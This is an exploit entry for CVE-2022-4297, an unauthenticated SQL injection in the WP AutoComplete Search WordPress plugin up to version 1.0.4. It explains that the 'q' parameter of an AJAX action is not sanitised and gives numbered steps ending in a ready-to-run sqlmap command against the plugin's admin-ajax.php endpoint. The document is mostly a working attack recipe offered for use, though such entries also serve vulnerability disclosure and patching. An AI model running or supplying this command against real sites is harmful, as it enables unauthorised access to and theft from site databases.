# Exploit Title: WP AutoComplete 1.0.4 - Unauthenticated SQLi# Date: 30/06/2023# Exploit Author: Matin nouriyan (matitanium)# Version: <= 1.0.4# CVE: CVE-2022-4297
Vendor Homepage: https://wordpress.org/support/plugin/wp-autosearch/# Tested on: Kali linux---------------------------------------
The WP AutoComplete Search WordPress plugin through 1.0.4 does not sanitise
and escape a parameter before using it in a SQL statement via an AJAX available to unauthenticated users,
leading to an unauthenticated SQL injection
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How to Reproduce this Vulnerability:1. Install WP AutoComplete <=1.0.42. WP AutoComplete <=1.0.4 using q parameter for ajax requests
3. Find requests belong to WP AutoComplete like step 54. Start sqlmap and exploit
5. python3 sqlmap.py -u "https://example.com/wp-admin/admin-ajax.php?q=[YourSearch]&Limit=1000×tamp=1645253464&action=wi_get_search_results&security=[xxxx]"--random-agent --level=5--risk=2-p q